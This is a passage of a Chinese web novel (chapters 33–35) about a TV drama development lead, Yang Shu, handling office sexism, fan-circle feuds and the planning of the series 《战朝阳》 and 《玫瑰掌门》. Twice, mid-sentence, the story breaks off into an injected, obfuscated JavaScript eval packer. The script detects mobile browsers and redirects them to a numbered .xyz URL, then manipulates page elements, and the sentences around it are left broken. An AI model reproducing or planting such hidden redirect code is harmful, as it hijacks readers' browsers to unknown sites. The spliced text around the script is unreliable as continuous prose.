过几天,秦朗买回新的,但店里换了配方,加了枫糖浆,没以前好吃了。秦朗觉得还好,他自己很少吃甜品,反正都甜,吃到嘴里差不多。但杨树气得骂人,什么叫自作聪明,这就是! 秦朗不死心,又买了两次,杨树依然怀念最初的口感,这会儿秦朗还买,她又踢他一脚:“还不死心呐?” 店员说已经换回来了,杨树将信将疑,秦朗叫了咖啡,两人坐在店里分享一份小蛋糕。杨树舀了一勺吃,哇地叫出来,她喜欢的味道真的回来了。 秦朗这才说每次路过,他都煞有介事跟店员提意见,还请了不同同事扮演顾客,务必引起店里的重视。众志成城,终于又恢复了原来的配方。杨树低头吃蛋糕,耳根又烫起来。 冰箱上贴着丁盼兮要做的生日大餐菜单,杨树把蛋糕放进冰箱,敲开丁盼兮的门。 每天晚上9点,是丁盼兮的放松时间,她规定自己一天只看一集剧,剩下的空闲时间继续啃财务书籍,早点把证考到手。杨树蹭过去,小声问:“我想对秦朗下手,你有意见没?” 丁盼兮哈地笑出来:“你有病。怎么样,你也看出你俩有戏了?” 杨树推她一把,丁盼兮说杨树从横店回来,她就感觉秦朗对杨树有想法,但自己没追上的,让杨树去试试,听起来怪怪的,所以没做声,好在杨树自己会过意了。丁盼兮问要不要她帮忙捅破窗户纸,杨树说暂时不用,她得想点策略再说,而且每天都有期待,心怦怦跳的感觉其实很好。 丁盼兮也认可最美妙是暧昧期,真说开了,要么迅速进入热恋期,要么“你很好,但是……”,哪及胡思乱想来得有乐趣。 33. 第 33 章 杨树送了一套品牌护肤品给丁盼兮当生日礼物,秦朗送的是日本清酒。生日蛋糕上插着29岁的巧克力牌,丁盼兮对着它许愿:“永远好看,马上有钱。” 日本清酒名为南部美人,杨树笑说丁盼兮明明是北地胭脂,她举起酒杯,祝三人心想事成。吃完饭,寿星被赶回屋看剧,杨树收拾着厨房,秦朗打下手,杨树跟他聊起下属。 张程程和郑致是杨树了解新人类的窗口,但越了解越惊心,她小时候,班里的同学都讨厌打小报告的人,但饭圈把这一套玩得很娴熟。 顾叮叮主演的古装剧杀青在即,女二号孔曼妮的团队出过几次新闻通稿,夸她敬业,对角色理解得透,但小叮当们从字里行间分析孔曼妮在暗戳戳踩压顾叮叮,遂迅速集结,把一条“孔曼妮滚出娱乐圈”的诉求推上了热搜。 昨天午休时,郑致杀红了眼睛,杨树问他有没想过顾叮叮是真的不敬业,郑致始终那句话:“不可能。” 杨树说:“我眼见为实。” 郑致仍说不可能,他不是不信任杨树,但顾叮叮太瘦了,身娇体弱,可能她当天抱恙坚持拍戏,被杨树误会了。 小叮当们誓死要把孔曼妮搞臭,扒出她的整容史和坐台史,孔曼妮的粉丝战斗力不如顾叮叮,但团队不可能不反击,也爆料称顾叮叮被经纪公司当成社交礼物,伺候若干有钱人。 郑致气得快哭了,不过顾叮叮后援会粉头有妙招。她们从孔曼妮的微博里发现她酷爱去日本旅游,还感叹一辈子生活在北海道有多幸福,但身为中国人,居然是精神上的日本人,是可忍孰不可忍。 小叮当们又一次集结,向有关部门举报孔曼妮不爱国,杨树黑了脸,利用公权力铲除异己的卑劣行为,就发生在她的团队,她也可忍孰不可忍,当即拍了郑致的桌子:“我团队不欢迎举报的人,再有下次,你走人。” 郑致慌忙说自己是小喽啰,老老实实待在数据组,举报这种事轮不到他,杨树问:“轮得到你,你就去了吗?” 郑致犯了众怒,低声说自己只是喜欢顾叮叮,不会再去伤害别人。杨树的话说给全员听:“举报这种恶劣行为,我不会姑息。” 黄婕找杨树私聊:“老大,他俩都那样,刚开始是还拼命对我们推荐偶像哪儿哪儿都好,我们都不理,他们才消停。你别跟他俩多费口舌,不然不够气的。” 杨树说:“该说的还得说。”她不希望自己变成安全自保的中庸人格,都妥协,都沉默,有天这个世界就会被荒谬的言论占据。 劣币驱赶良币的现象越来越多了,杨树沉思,也许可以做一部剧,写一写这个城市的年轻人,他们和郑致同龄,但锐气、奋发,对待世界的心态积极健康。她兀自想了一阵,一回神,秦朗竟然还没走,坐在一旁专注地看她。 杨树脸上莫名烧了起来,撂下一句我去做策划案,飞快地回了卧室。起先还心潮难平,打开笔记本电脑后,在文档敲下第一行字,她把镇定的自己找回来了。 周日,杨树写完策划方案,剧名定为《战朝阳》,讲述刚毕业的年轻人,走上职场第一年的生活。饭圈人类把自己的思维往固执狭隘里塞,但更多年轻人在奋斗,他们都朝气蓬勃,像新生的朝阳。 秦朗问剧名含义,杨树笑:“发生在朝阳区。这是个双关。” 杨树只搭了故事框架,起承转合还没想透彻,跟秦朗说说笑笑地闲谈,思路又打开了一些。既然性别有局限,她不试图以男人为主角,就站在女性身份,写两个21岁到23岁女孩的成长故事,职场经历、生活和情感,都有体现。 《战朝阳》的主题很明确:最冷酷的世界最热血的奋斗,不把世界让给狭隘的人,杨树把策划方案发给朱青,朱青认为可做。 杨树对《战朝阳》的定位是话题剧,朱青建议做成青春励志剧,二十出头的年轻人人生没有那么多问题,只有小困惑,不如偏向传统的剧作手法,在人物形象和人物关系上着力。 杨树思索片刻,这个戏会涉及到不少话题,但青春励志剧更符合年轻人的气质。朱青建议她完善成一份选题报告,获得公司认可,就着手找编剧了,编剧自然知道怎么把策划方案执行下去。 杨树把《战朝阳》策划方案发到部门群里,等他们看完后,开会讨论。白板上,杨树分明写了“现实题材”四个字,但张程程视而不见,第一个发言:“男主太不讨喜了,就一个创意公司的小职员,还有拉拉扯扯的前女友,男二更别提了,虽然是总经理,但有老婆。” 杨树说《战朝阳》以女孩们的成长为主线,男性角色都是配角,都是过客,没有什么男主角,只能称为男一号、男二号。但张程程仍从言情角度出发,提出把男一号和女一号改成是彼此的初恋,在公司志同道合,相知相爱,男方对女方处处照拂,为她冲锋陷阵;男二号是情场浪子,阅人无数,但甜美清新的女二号收服了他。 黄婕说:“老大都说了,咱们这戏是现实向,不能把人物设置得太高了。” 杨树问张程程:“温暖善良的普通男人,你感觉不到他好吗,非得男人几次三番救女人于水火才行?” 刘云彤说:“现实题材不能有言情化倾向,没那么多好男人。” “也没那么多好女人。”梁卓显得特别郁闷,“为什么你们都觉得男人没一个好东西?我跟好几个人妻都睡过,她们的老公都觉得她们老实得很。男人的出轨对象多半是女人,怎么就没人骂女人?” 黄婕和刘云彤交换眼色,都听得出梁卓言若有憾实则自得,只有张程程嗷地叫道:“你怎么这样?你和她们都不觉得脏吗?” 梁卓哈哈一笑,张程程瞪着眼,想不明白,问杨树:“为什么要让男女一号都有过前任,不能写双处吗?” 郑致问:“女主不能没男朋友吗?” 杨树问张程程:“不是双处,怎么就不行?” 张程程说她心里膈应,而且男主角变了心,这叫三观不正,刘云彤皱眉道:“如果你和你男朋友不能走到最后,但你和他有性生活,该怎么办呢,去死吗?” 张程程咬咬唇:“我谈恋爱就不会分手,我只相信一生一世一双人。” 黄婕说:“我也相信。” 杨树看看她俩,张程程总给黄婕推荐仙侠小说,两人讨论得有滋有味。张程程总说从小就向往仙衣飘飘的世界,遇见良人,相守终老,她写的小说结尾也永远是女主角被男主角拥入怀中,宠她一世。 刘云彤叹息,对文艺作品何必动不动扯到三观,张程程更懵了:“作品三观不正,不该批评吗?” 杨树问什么叫三观,张程程拿《战朝阳》的男二号举例,他已婚,但女二号暗恋他,他明里暗里揩女二号的油,还让女二号当了情人,这会让观众骂到死无葬身之地。 杨树说现实题材不惧怕争议,之所以设置这组人物,就是想让幻想得到霸道总裁垂怜的女孩们窥到一点人间真相,那些衣冠楚楚的男人可能是禽兽,你以为他的小举动是在“撩”,其实都是性骚扰。 梁卓说:“其实我也觉得这组关系尖锐了。” 刘云彤说:“这种道貌岸然的货色,生活里还见少了?女孩们被猥琐师长占便宜,还误以为是爱情,但她醒悟了,会让他们付出代价,对我们女人来说,这样的角色有价值。” 张程程期期艾艾道:“可她付出的代价更大啊,她不纯洁了呀。” 杨树摇摇头,这么年轻浪漫的年龄,居然一脑袋陈旧腐朽的东西。 黄婕问:“会不会有点过了,让男二没睡到女二行吗?” 杨树想用女二号承担社会议题:那些具有隐蔽性的糖衣炮弹,比直通通的炮弹更险恶,她说除非不可抗力,否则这一点她不会改,现实题材作品从来都是反映现实的,为什么涉及到情爱部分,就得粉饰? 刘云彤站在杨树这边,真正的现实可能残忍得多,被侮辱被损害了,仍呼天不应,恶人却不曾被惩罚。创作者连这点直面的勇气都没有,还搞什么创作?杨树对她一笑,有种吾道不孤的感觉。 梁卓担心过不了审,杨树说他多虑了,老板们同不同意立项,将来是否能过审,那都是后话,但在创作表达的时候,不能第一时间把枷锁自行戴上。 张程程担心有点丧,她希望其中一对修成正果,杨树问正果是什么,张程程说结婚。但刘云彤认为没必要强行大团圆,女孩们最大不过23岁,人生遇见个把渣男是正常的,她们经得起任何失去。 张程程小声说她担心没人看,市面上播得好的剧都是谈恋爱的,杨树直接表了态,那样的剧有很多人去做,但《战朝阳》想刻画真人,描述当下的生活,不造梦。三个正式员工也都认为做剧不能太贪心,不可能同时讨到偶像剧观众和现实剧观众的好,总得选一边,杨树快刀斩乱麻:“我定位在现实题材。” 定位清晰了,接下来的讨论就很高效了,从主要角色的具体职业身份,到家庭背景都进行了完善。刘云彤的贡献很大,在杨树意料之中,梁卓和郑致也提供了男性视角和观点,虽然有部分见解不一致,但《战朝阳》很需要真实的声音,创作者只负责呈现,批判或认同,都是观众的事。 集思广益效率高,会后,杨树根据部门成员的意见,完善了《战朝阳》策划方案,交给上司詹忆。回办公室的时候,她听到梁卓正大放厥词,事关朱青,杨树没进办公室,站在门外听了片刻。 朱青部门新策划了一个项目,剧本会上,张瑞江开黄腔,朱青拍了桌子,涂芊打圆场,说张瑞江就是开个玩笑云云,朱青连她也一起骂了:“你是个女人诶。” 朱青让领导们下不了台不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081881|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一回了,梁卓和涂芊助理很熟,助理说这人特别不会来事,一点幽默感都没有,梁卓转述给办公室众人,黄婕和张程程都附和。 张程程说公司传过朱青和钱一诺的绯闻,会议上,朱青经常直愣愣地看着人,像是听不懂别人在说什么,别人赔罪她也不理会,让很多人心里都不舒服,但钱一诺很纵容她,这两人绝对有点什么。 梁卓说:“她长得跟爷们似的,老板的口味也太扭曲了吧。” 张程程和他一起笑,杨树进门,怒斥道:“讲黄段子很有意思吗?” 梁卓顿时讪讪的,杨树看向张程程:“你不是喜欢看双处吗,讲这些,你怎么比谁都来劲?” 张程程缩起脑袋。办公室的气氛很凝重,杨树盯着梁卓说:“你肯定觉得我发火是在小题大做,那是因为你不是女的。你要是在我面前开黄腔,我能让你更下不了台。” 梁卓不跟她对视,只看着电脑屏幕,杨树知道他很难堪,难堪就对了,她可不难堪。她想朱青也一样,朱青直愣愣地看人,其实是在表达愤怒,但为什么不敢让对方不舒服不自在呢。 詹忆通过了《战朝阳》选题,反映年轻人生活的剧值得一做,时机也很好。朱青策划《三十难立》时,还被分管发行的副总涂芊嫌它是群像剧,不便找演员,但没几天后,一部5个女人的群像剧成了爆款。 詹忆把《战朝阳》发给钱一诺,杨树见他完全没担心过审问题,心里明白了几分,以她策划案里写到的程度,这是有力的表达,梁卓等人是在杞人忧天。 詹忆挺惋惜,审查制度让很多从业者束手束脚,抓选题时不肯输出强势一点的观点,但在艺术创作领域里,惟一不变的规律,是求变。 两天后,詹忆喊杨树去见钱一诺,张瑞江也在。钱一诺见面告诉杨树,他放弃那部乐队故事了,它性价比太低,而且做耽美他有点不好接受,他年轻时和朋友们玩音乐,满脑子想着音乐和姑娘,哪能没有女性角色? 朱青跟杨树说过钱一诺的三七理论,七成做大路货,三成做有表达的,但为了对投资人的钱负责,三成也得追求不赔本。受人之托,忠人之事,必然是有一定妥协的。杨树把《战朝阳》归于三成里面,她和编剧尽力把内容做好,但能卖到几个平台,她没把握。 杨树对《战朝阳》预计做30集剧本,剪成36集成片,卫视和视频网站都是目标平台,但钱一诺认为《战朝阳》故事体量小,不如做成20集剧本,30万字,成片24集,主攻视频网站。杨树一愣:“钱总的意思是网剧?” 钱一诺不放弃卫视,但《战朝阳》的题材决定,想上卫视黄金档,就得用大牌演员,集数也得抻长,不然那么高的片酬,再加上制作费,成本下不来。然而,青春励志剧做得拖拖拉拉,积极明朗的气质就得打折扣,集数太长不合适,卫视黄金档是别想了,青春类周播剧场倒有可能。 钱一诺把重任交给张瑞江:“等编剧交出大纲和人物小传,张总拿给你家颜老师看看?” 钱一诺和詹忆都很重视的项目,张瑞江不便唱反调,点了头,但假意开玩笑:“杨老师是不是受过情伤啊,两个主要男性角色没一个好的。” 杨树说自己写过恋爱戏,写得很快乐,但《战朝阳》是现实向,不妨写点真实的人,各有各的缺陷。张瑞江笑道:“我就是这个意思,你这戏的角色其实是男渣女贱,刚才没敢说。” 杨树皱眉,詹忆笑呵呵:“哪能说得那么难听,小年轻嘛。” 张瑞江又说:“还有当过小三的情节,是不是有点太偏激了?写了这么多社会阴暗面,我老婆她们网站可能会犯嘀咕,你看要不要改一下?” 杨树想让他出丑,故意说:“张总请指教。” 张瑞江喝口咖啡:“要我说,男的后面为女的离婚了,也肯娶她了,她还矫情什么?再说,写职场骚扰打官司得涉及到公检法,过审特别麻烦。就写两人还是结了婚不好吗,比市面上那种浪子回归家庭有新意,话题度也不缺。” 杨树好笑道:“让女孩跟这种人结婚,才叫社会阴暗面呢。” 钱一诺一锤定音:“小姑娘们一时犯傻,也是成长的一部分,写几个四平八稳的好姑娘和好男人,那能看什么?” 张瑞江闭嘴了,詹忆给杨树推荐了两个编剧,让他们先把《战朝阳》剧本大纲做出来。杨树请朱青吃饭,庆祝选题通过,两人去了公司附近那家日料店,把存在那里的赤兔马喝完,想起秦朗送过丁盼兮一瓶南部美人,杨树点了两杯来喝。 最近每次一想到秦朗,杨树嘴角就忍不住上扬,心里总像被什么充盈着,又酸又软。丁盼兮笑她怂,良宵苦短,要拖到什么时候?杨树是有点近情情怯,不过,有花堪折直须折,她计划先忙完这一阵,等下个月过生日就挑明,成不成,给句话。 34. 第 34 章 詹忆推荐的两个编剧是公司用惯的熟手,杨树约他们面谈,他们和朋友成立了工作室,这两年接的全是IP改编剧,弄出了一点名气。男人是学院派,女人是他带的徒弟,半路出家,在央企干过四年多。 《战朝阳》里职场奋斗戏不少,杨树对女编剧抱有期待,她32岁,上过班,写出来的职场不大会犯常识错误。双方签订了委托创作合同,其实杨树有点遗憾,其实詹忆通过选题那天,她找《天作之合》的主笔编剧聊过,但她深陷于新项目,目前还在做分集梗概。 自从杨树拍了桌,梁卓老实多了,张程程也不敢再搬弄朱青的是非了。杨树指定刘云彤做《战朝阳》责编,自己把第二道关。张程程似乎听进了一点她的话,申请做刘云彤的助手,刘云彤拒绝了:“等你能跳出饭圈思维看问题再说。” 编剧写《战朝阳》剧本大纲期间,杨树对部门做了分工,梁卓和黄婕暂时以寻找IP为重,郑致做些统筹工作,他在顾叮叮后援会是数据组成员,统筹能力强,也算人尽其才。 张程程闲着,杨树把祁宁接到的剧本都转发给她,让她为每个主要角色写小传,拓展她的创作思维。 除了梁卓做一天和尚撞一天钟,部门另外几人都表现不错。公司有部剧正在播出,郑致向张程程学习写剧评。论文字煽动力,郑致不如张程程,但胜在真情实感,再加上他养的那些小号齐齐转发,吸引了看热闹的路人,每篇剧评热度都很高。 杨树表扬了郑致,但他垂头丧气,数据站的负责人骂他顶着顾叮叮的粉籍,为不相干的剧做宣传,罪该万死。郑致解释这是他的工作,但负责人骂他跪舔丢人,勒令他删除所有剧评,并向顾叮叮和粉丝们公开致歉。 郑致迫于压力,删了剧评,道了歉,但他委屈得要命,明明是想让顾叮叮进入公司的视野,说不定能演个好角色。杨树问:“有没有发现,很多人不是真心喜欢她,是在享受小圈子里当权威的乐趣?” 郑致挠头:“可能粉头是对的吧,小顾接戏不愁,我们不能太上杆子了。” 杨树笑笑,让他坚持写剧评和小说,多看看编剧技巧的书籍,人一忙起来,就没那么多时间往死胡同里钻。 编剧如期交出了《战朝阳》剧本大纲,比较细致的两万字,但跟杨树的想象大相径庭,她很失望。 面谈时,杨树说过这是现实向的青春励志剧,她弄的策划方案也给编剧当参考了,但他们还是弄成了悬浮剧。男帅女美,职业光鲜,缺乏生活感,尤其是男性角色,用梁卓的话说,一律从经济舱升到了头等舱,小公司的产品经理变成了科技新贵,能拿风险投资那种。 再看女性角色,出入得最多的是酒吧、咖啡厅、百货公司和艺术馆,编剧们认为这些场景才能展现出主角们生活在北京的特质。涉及到工作,则是开会和发放文件,所谓职场奋斗完全成了幌子。 杨树约谈编剧,策划方案里提到的创业园区,北京有很多,她可以找朋友介绍编剧去采风。编剧却说他们已做了大量采访,很符合当代北漂青年的生活。 明堂影业秉持用人不疑的原则,委托合同签订三天内,即给编剧发放了总稿费的10%作为定金,但他们交出的剧本大纲偏离得厉害,杨树让他们试写一集剧本。编剧们不同意:“按合同,我们大纲稿费也有10%,您不满意,我们可以再改改。” 双方磨了半天,达成协议,大纲先放着,开头没什么大问题,编剧写出第一集剧本,不论通过与否,明堂影业都会支付这一集的剧本稿费。 让编剧试写第一集,杨树是请示詹忆了的,詹忆说有的编剧如武德者,最擅长靠两万字的大纲,弄走甲方10%定金和10%大纲稿费,但之后一个字也不写,找小孩代劳,还不给署名;有的编剧剧本大纲写得不咋地,但剧本却能发挥好。 一周后,编剧们交出了《战朝阳》第一集剧本,杨树看出了真正的问题所在。这两人编剧技巧很成熟,这大概是詹忆让他们再试试的原因,但他们的心态和《战朝阳》不匹配,不够年轻,还不虚心去体验角色。 第一集主要写两个女孩为何来到北京,为何在大学毕业留在北京,责编刘云彤看完,感觉很老气,但具体问题她总结不出来,杨树拿剧本里一处设计解答了她的疑惑。 编剧安排女一号在家乡省城读的大学,男朋友是同学,早在大四下学期一开学,两人就双双和本地大公司签约。女一号意外发现男朋友脚踏两只船,惊怒之下提了分手。男朋友极力挽留,女一号端出自己精心烤制的狗屎形状蛋糕,扣上他的脸,潇洒离去。 这场戏有画面,有冲突,但偏离了人物设置,它不像22岁在校学生面对男朋友出轨的心情和行为,像小白领。但真实生活的小白领也少有这么干的,她更像多年前时尚杂志上情感小说的女主角。 杨树对《战朝阳》的期许是热闹洋溢,充满朝气,但编剧写出的人物跟主角的年龄段差得远,对主角们身处的行业也不去做了解。 詹忆看了剧本也无语了,29岁的男编剧和32岁的女编剧水平没大问题,但风格不适配,老套桥段在第一集剧本里比比皆是,然而一部作品通篇都是似曾相识的细节,就缺乏记忆点,打动不了观众,只能另找编剧。 杨树回家感叹自己资历太浅,不知去哪里寻找能写好《战朝阳》的编剧,既要有点阅历,编剧功底深,还得把握《战朝阳》想要的质感,她得多托人问问。 秦朗在网上看过一个说法,很多大导演都感叹好编剧稀缺,杨树笑了笑:“好编剧其实没那么少,但是按他们的意思一遍遍写剧本,还得物美价廉,连被剥夺海报上的署名权都不计较,他们想要的这种好编剧是不好找。” 秦朗略一琢磨:“如果换个位,是他们服务于编剧,好编剧就有干劲了。” 杨树说:“看看日韩和美国就知道了。” 秦朗点头,他很多同事嫌国产剧太烂,只追美剧,杨树说被国人知道的美剧都是佼佼者,烂的那些,在美国都传不开,根本不会被国人知道。秦朗说:“国产剧要是能像美剧那样,什么都能写就好了。” 杨树叹气,她也觉得很多美剧很精彩,但他们大量卖点在于政治黑幕、犯罪和黄色笑话,国产剧能写吗? 詹忆找了几个可能能写的编剧,但都抽不出空,他不介意等一等,杨树着急些。公司已和《玫瑰掌门》的版权方走完合同,下周就开项目筹备会,她想让刘云彤主要负责《战朝阳》,自己全力投入到《玫瑰掌门》。 杨树认识的编剧不多,想来想去,首选是《天作之合》的主笔编剧甘棠。甘棠是笔名,她28岁,《天作之合》写得清新明快,少女感十足,当时创作时间那么赶,甘棠都花了一个月时间去Mall实习,把组织架构和高管工作职责都摸清楚了,采访到很多一手资料。 一部剧从立项到播出,过程繁琐精细,其他行业也自有流程和标准,不能凭空想象。杨树很需要能写年轻人,还能扎进水深火热的生活中,把角色“写得像”的编剧,她再次找上甘棠:“你什么时候能有空啊,我们能等你半年。” 半个多月以前,甘棠还在做新项目的分集梗概,杨树没抱希望,但甘棠说她已退出该项目,有空了。杨树喜出望外,立刻约她见面。影视业是熟人社会,普遍爱用熟人,因为打过交道,知道对方的水平在哪里。 甘棠退出的项目是IP改编,从制片人到责编都不懂戏剧,每每挥着鞭子让她拐到不可思议的方向,甘棠不想写一部注定被人说烂的剧,选择退出,杨树抛来的橄榄枝,她接了。 每次IP改编剧开机新闻下面,都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081882|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书粉不希望被影视化,骂中国编剧都死绝了,甘棠说:“没死,但现在我们这种小编剧的原创故事没人投拍了。” 杨树让甘棠对原创项目别太发愁,大环境的确不乐观,除了少数老牌剧作家能写原创剧本,其实2010年往后,原创剧本想出来就很困难,中青代编剧们都只得接影视公司和资方的选题,按需定制剧本。 《战朝阳》不是IP,只是明堂影业的选题,能做到哪一步,谁都说不好,稿费也不如甘棠接IP拿得高,但她欣然签了约。杨树做事的风格她知道,跟懂内容的人合作,钱拿得少一点,心里舒坦。 《战朝阳》大部分情节都发生在公司,甘棠是电影学院毕业的科班生,没在普通企业上过班,缺乏职场经验。即使能从网络和生活经验里提取到真实案例,但甘棠不具备职场人的思维方式,写主角的办公室生涯难免会偏离人物正常的言行逻辑。她想找个创意公司实习,找杨树要了两个半月时间用来写大纲。 一两个月突击采风,并不能把具体行业写得足够像,好在《战朝阳》不是行业剧,而且甘棠有两个助手都上过几年班。 男女的性别差异导致言行会不同,甘棠安排助手去采访科技公司的男职员,观察了解他们待人接物和对社会议题的看法。杨树说:“我有朋友做科技产品,你有不懂的就问我,他是我进行人间观察的样本,交流得很好。” 甘棠问:“男朋友?” 杨树说:“朋友。” 甘棠察言观色:“男朋友。在横店见过的那个?” 杨树绷不住,笑出声。《战朝阳》找到甘棠做编剧,她轻松了。很快,《瓷缘》那边也有了新动向,主要演员都定下来了。 女主角不是目标备选里的青衣,而是个凭言情剧走红的花旦,29岁,转型在即,论咖位勉强算二线。男主角是一线中生,演惯了大男主的剧,咖位比女主角高得多,他绝对能收到比《瓷缘》更主流的大男主剧本,杨树不明白他为何跑来演《瓷缘》这么一个偏女性视角的剧。 导演助理告诉杨树,男女主角是同一公司的,该公司老板想捧女主角,让旗下的男主角作了妥协。 既然是买一送一,片酬方面,男主角得到补偿,女主角只拿到他的零头。《瓷缘》的女二号是准一线,也比女主角红,署名为友情出演,她的片酬同样远高过女主角,因为抬了女主角的咖位,自然得在别的方面补回来。 女主角演过很多小成本的剧,几乎都是女一号,搭的统统是比她红得多的男演员,坊间都挖苦她有后台,不然为何资源如此之好。其实娱乐圈有姓名的人多多少少都有后台,杨树问了导演助理才知道,女主角之所以资源好,跟她不计片酬有关,她上一部戏,男主角拿了4千多万,她拿了360万,只为借个势。 在女主角这种知名度的女演员里,她的片酬惊人之低,资源比别人好些也不足为奇。杨树点开她演的剧看了一些片段,在影视圈里长相平平,演技也平平,但她的经纪公司大老板算过,此姝命格很旺他,还大利公司,这才不惜让公司旗下的大男主屈就于她。 杨树哈哈笑,前公司长夜影视的大老板也信命,手腕上戴了几串找大师结缘的珠子,历任情人也被大师算过是旺夫命,才能在他身边待上一两年。 《玫瑰掌门》如期召开第一次筹备会,钱一诺亲自挂帅担任制片。公司刚杀青一部重大历史题材剧,钱一诺是出品人,前后忙了三年多,他想做个完全不一样的换换脑子。 《玫瑰掌门》以女主角自创护肤品牌的发展壮大为主要情节,讲述配方师、农业技术员和村官等人在时代大潮艰苦创业、振兴一方经济的故事。杨树是《玫瑰掌门》的发掘人,当仁不让是责编,她喊上部门全员列席筹备会,涂芊、姚澈、张瑞江、詹忆等头头脑脑都在场。 35. 第 35 章 筹备会的主要议题是为《玫瑰掌门》定调性,钱一诺率先发言,他喜欢原著里勤劳致富的奋斗历程,姚澈认为女主角让人耳目一新,杨树则喜欢原著作者霜晨月把创业写得很精彩。 原著最核心的优势被列出来,毫无疑问,它是正剧向,但究竟定位成行业剧,还是当代农村题材剧,可供商榷。 涂芊建议做行业剧,洋气些,好卖平台,但小说里玫瑰种植到生产成护肤品的过程很耐看,主场景是在农村和工厂,詹忆和杨树都倾向做成当代农村剧。 涂芊顿时反对,农村剧制作成本较低,过审也相对容易,但发行压力比较大。央视目前是消化农村剧最大的平台,但它购片价格不高,前年,明堂影业接到任务剧,卖给央视,刨去七七八八的开支,只有一成左右的利润。 《玫瑰掌门》想发行到一线卫视,演员阵容得强大,但一线明星里合适的演员不好找,要么气质不贴,要么不愿意演农村剧。如果发行到二三线卫视,至少得卖两家,但一线卫视日子都不好过,二三线卫视宁可买二轮剧。 张瑞江负责公司对视频网站的发行工作,但网站就算收购农村剧,采购价绝对低得可怕,那么多言情剧和玄幻剧都播不完,买农村剧给谁看?他认为必须做成行业爱情剧,主打爱情,一来好招商,二来观众也多些。 涂芊立刻响应张瑞江,女人都在买进口大牌护肤品,国产品牌有名的就那几个,但不见得肯赞助一部戏,但是做成行业爱情剧,走都市风格,从酒店到快消品,服饰,各方面的赞助都好拉些,也方便平台招商。 钱一诺说:“内容第一。品牌赞助是之后的事,我做这个戏,不是为了给它们拍广告片。” 姚澈是《不惑之年》制片人,没空再负责新项目,《玫瑰掌门》创作跟她没什么关系,今天恰好在公司,就来旁听会议,帮杨树把话题拽回议题上:“要么行业剧,要么农村剧。我们看到的行业爱情剧还不够多吗?一个个主打行业,拍出来全是谈恋爱。” 张瑞江说:“那没办法,观众不爱看职场戏,写浅了撑不到40集,写深了观众不爱看。” 涂芊和张瑞江站在一边,表态不管是做行业剧,还是农村剧,都得加情感线。 张瑞江附和,在座众人都是上班族,谁不知道国内真实的职场多是权和色的交易?女的想混得好,都得跟已婚男上司勾搭,这很真实,也精彩,但过不了审。 涂芊说:“大妈对护肤品牌创业没多大兴趣,年轻人有兴趣,但只有职场一条线牵引剧情,她们不爱看。” 杨树说:“我的工作跟护肤品牌不搭嘎,但我对怎么加工玫瑰,蒸馏过滤,一直到变成一瓶爽肤水,非常有兴趣了解。何况它故事也写得好,引人入胜。” 张瑞江看着她说:“大多数观众,特别是女观众,只爱看爱情。” 张程程第一个说对,黄婕也点头,郑致看看杨树,他觉得不能当着别人的面拆老大的台,小声说:“我很少看言情剧。” 张程程说:“你是男的嘛。” 姚澈指指张程程:“她这句话,恰恰是我们不能做成言情剧的原因。平台上谈恋爱的剧够多了,现在我们有个小说是行业向,为什么要把它也改成言情剧?你们就这么缺爱吗,看不腻吗?” 张程程低下头,紧张得抠指甲,张瑞江说:“女人嘛,都感性,当然最关心谈恋爱。我老婆也说,她们网站哪怕拍得不怎么样的言情剧,数据都比一般剧种高。” 涂芊点头,言情剧是市场主流,逆着风向只会死路一条。姚澈看涂芊一眼,纵是疾言,她也从不厉色,轻言细语说自己不反对言情剧,前年也做过两部,但《玫瑰掌门》不是言情小说。 杨树说:“原著之所以被我们公司买了,就是行业写得好。如果改得特别言情化,就是买椟还珠,把它的优势丢了。市面上播出的行业剧大多都在言情,言情得还很悬浮,咱们能不能做点不一样的?” 梁卓说:“行业爱情剧不好看,这个得怪编剧,既没职场经验,连恋爱都写不好。” 钱一诺笑眯眯地喝茶,很欣赏讨论氛围的样子,杨树不满道:“编剧地位多低,你又不是不知道,从什么方向写,怎么写,不都咱们甲方说了算吗?” 詹忆哈哈笑:“我们哪有那么大权力?现在都是平台和演员说了算。朋友公司做的古装剧,好容易请到大咖,大咖嫌自己演的妃子不善良,招了两个编剧,硬生生把角色改成不争不抢了。” 张瑞江问哪部剧,詹忆说还没播,卖了天价,但后宫剧的女主角被改得与世无争,封建宫廷的残酷、人性的扭曲就表达不深,他预计十有八九要扑街,资方花再多营销费,口碑是救不了了。 涂芊管发行,只关心卖剧问题:“卖出去了,还卖得好,就是最大胜利。” 姚澈问钱一诺是把《玫瑰掌门》列为赚钱的,还是保本的,钱一诺笑问:“咱们这戏还能赚钱?” 姚澈笑了:“既然不以盈利为首要目的,就不用事事妥协了。” 涂芊说不赚钱也得赚吆喝,张瑞江皱起了眉:“我说实话,写不写谈情说爱,是你们管内容的事,但卖不到网站就不能怪我了。” 他推卸责任之心人人都听得出来,钱一诺倒是不以为然:“这戏尽力而为就行。” 张瑞江顺势诉苦,不仅是《玫瑰掌门》,《不惑之年》和《战朝阳》也都不是言情剧。他跟太太聊过,太太也发愁,看剧的时候打开弹幕,观众普遍只关心两件事:男主角帅不帅,什么时候谈恋爱,他说:“国内观众素质低,就喜欢看俗的,拍得蠢炸天,反而赚翻天。” 从业者看不起衣食父母,这种心态是最要不得的,杨树挑眉,她乐见蠢货犯蠢,她感觉姚澈会提枪狙击张瑞江。 